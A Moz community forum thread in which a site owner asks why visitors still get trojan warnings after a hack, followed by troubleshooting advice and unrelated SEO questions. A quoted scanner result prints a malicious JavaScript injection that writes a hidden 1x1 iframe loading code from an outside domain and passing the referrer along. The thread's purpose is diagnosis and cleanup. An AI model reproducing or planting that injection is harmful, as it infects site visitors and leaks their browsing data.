Users reporting that there is a virus on my site.
-
A few months ago I found out that someone had hacked my site and placed malicious code and modified my .htaccess. I am pretty certain that I have cleared up all of the bad code (within 12 hours of it being infected). Yet, I am getting people telling me that their virus checker is warning them of a trojan on my site.
Is there anything that can be done?
I have no malware warnings in my Webmaster Tools.
The site currently has 2 articles that are going viral and I'd hate for that to be screwed up by a stupid virus!
-
Thanks guys. The site does have 2 wordpress blogs, but the warnings are coming from hard coded (by me) static pages.
sitecheck.sucuri.net gave me this warning when my site was scanned:
****Known javascript malware.
Details: ****http://sucuri.net/malware/malware-entry-mwiframehd20<scriptlanguage=javascript>document.write(<iframesrc=http: frankwsgoldie.in="" showads.php?2&seoref="encodeURIComponent(document.referrer)&HTTP_REFERER=encodeURIComponent(document.URL)width=1height=1frameborder=0">);</iframesrc=http:></scriptlanguage=javascript>
I can't see that code anywhere on my site!
-
I think that may be because IE does a much better job and detecting these things.
Let me take a guess, this site is a wordpress site?
-
Hi Marie,
Good advice from James here.
One other question I would ask - have you checked the site in all browsers? There are viruses written for specific browsers such as IE. I have seen a situation where a site was infected, but nobody in the company knew because they were all using Chrome or Firefox. As soon as a customer hit the site with IE all the flashing lights and sirens went off!
Also, have you asked those reporting a problem for details of the virus scanning software they are using? If you can nail down the virus scanner involved and run an online scan from that company's website you should be able to replicate the report and see what exactly is happening.
Hope that helps,
Sha
-
Hi,
My advice would be to check the files in your FTP for the specific site, look over your website files too see if any thing should not be in their such as malicious files, directory's which have been made by the hacker. Did you also check if the hacker has made any new pages on the website?
Did you also change all passwords after the site was hacked from the CMS level? Also depending on your CMS you can get plugins to scan for malicious files.I hope this helps.
Browse Questions
Explore more categories
-
Moz Tools
Chat with the community about the Moz tools.
-
SEO Tactics
Discuss the SEO process with fellow marketers
-
Community
Discuss industry events, jobs, and news!
-
Digital Marketing
Chat about tactics outside of SEO
-
Research & Trends
Dive into research and trends in the search industry.
-
Support
Connect on product support and feature requests.
Related Questions
-
What is the best tactic to fix thousands of product descriptions on an eCommerce site?
I've asked this to dozens of people already, but I still haven't found a satisfactory answer... perhaps someone here can help me: I keep hearing how important it is to update product descriptions to avoid duplicate content, decrease thin content and improve conversion rates - but for any new eCommerce sites like ours, with thousands of listings going up at once, this is nearly impossible to control. Outsourcing is clearly a bad idea from an SEO standpoint as well as a UX standpoint... But are there any other options? Should I let go of my other responsibilities and focuses as an in-house SEO manager and virtually stop, drop and roll out unique product descriptions? That would be a project that would take me at least a year to complete. Do I just give up? Do two descriptions a day and hope for the best? What do you guys think? What have you recommended for others? I can't imagine our company is alone in this dilemma. Thanks in advance! Hanna
Content Development | | whiteonlySEO0 -
How do I properly sitemap a site with static pages + Wordpress in it's own directory?
I apologize for the awkward wording in the headline. No to the issue, I have a site with static pages that are created as follows: url.com, url.com/page1, url.com/page2, etc. I then have WordPress install at url.com/blog. What is the proper method for creating a comprehensive sitemap for my entire domain. I like the sitemap feature provided by Yoast SEO plugin but I assume it will only index the wordpress directory (url.com/blog). Any help would be greatly appreciated!
Content Development | | Qcmny0 -
How many categories should you have within a blog / Wordpress Site for SEO?
Hi Guys I am just wondering whether or not for SEO purposes it is better to have a small number of categories for your blog posts to fit into as opposed to numerous ones. The reason I ask is that I have one site which is fairly new to the search engines - 8 months old which has 7 general categories within the blog for instance "rail contractors", "railway construction" "airport construction" etc I have another site which is 10 years old which has built up 25 different types of categories for instance brand design, brand development, brand management (i guess you could put all these under 1 category "branding"? We've been writing lots of press for both sites... yet the younger site is getting more coverage on Google page 1. Would this be because the blogs / press are more concentrated under a specific category as opposed to being spread thinly throughout the site? Any help would be appreciated. Debs 🙂
Content Development | | lethalmarketing0 -
How does WordPress 3.5.1 impact site rankings?
We have a user interested in having a WordPress 3.5.1 blog on their own existing, robust site. There is a blog module available in the CMS but the user feels more familiar with WordPress. It will be set up at the root as a subdirectory. Based on the URL structure, Google should see the WordPress blog and the user's website as the same website. (www.website.com/wordpress). There will not be a 301 needed. Does using the Wordpress module impact rankings? We've understood that Google doesn't care for Wordpress because 99% of spammers use it... is that only if it is hosted on WordPress.com? Also, are there any other reasons that our user should use/avoid WordPress?
Content Development | | dianemahan0 -
Should I put the date on a new content page to show users when it was written or updated?
I've been asked this question at work and not certain of the answer. Personally if I see an 'old' date in a meta description on Google I often scan for more recent articles. In other words it can act as a deterrent. We are a very big social networking site with a large content section. For some of our content the date might be relevant, such as legal information, but often it isn't. Are there any SEO factors in dating content?
Content Development | | CecilyP0 -
How can i contact the owner of this site over copyright theft
Hi i am getting a bit fed up of people stealling our content and now i have come across this site that has stolen content from us but cannot find any email address or contact details and would like to know how to contact them or how to stop this site from stealling our work. here is the site http://caiii.com/ any help would be great
Content Development | | ClaireH-1848860 -
Mobile Sites / Useragent detection
I've got a question about how search engines declare that they're mobile browsers... Our website is based on wordpress, and uses the caching plugin W3TC to send a different site template to mobile useragents - i believe from the HTTP useragent string; (the same content is served on every page whether it's a desktop or mobile - just different themes). After having this mobile site online for a few months, we're a little confused as to why google still shows the instant preview of the desktop version for mobile users, and it doesn't show the little mobile phone icon in our SERPs for mobile devices (it's as if it doesn't realise the mobile site exists). I was reading today that the "old" method of serving different content based on the browser is to use the HTTP useragent string; and there's a "new" object checking method which is more robust (although I can't find a lot of information about it). Can anyone explain the "new" method? Would this be the reason that google is so far ignorant of our mobile site?
Content Development | | AlecPR0 -
I have submitted my url how much time u guys will get to reveal my site site up ??
i have submitted my url how much time u guys will get to reveal my site site up ??
Content Development | | TQR0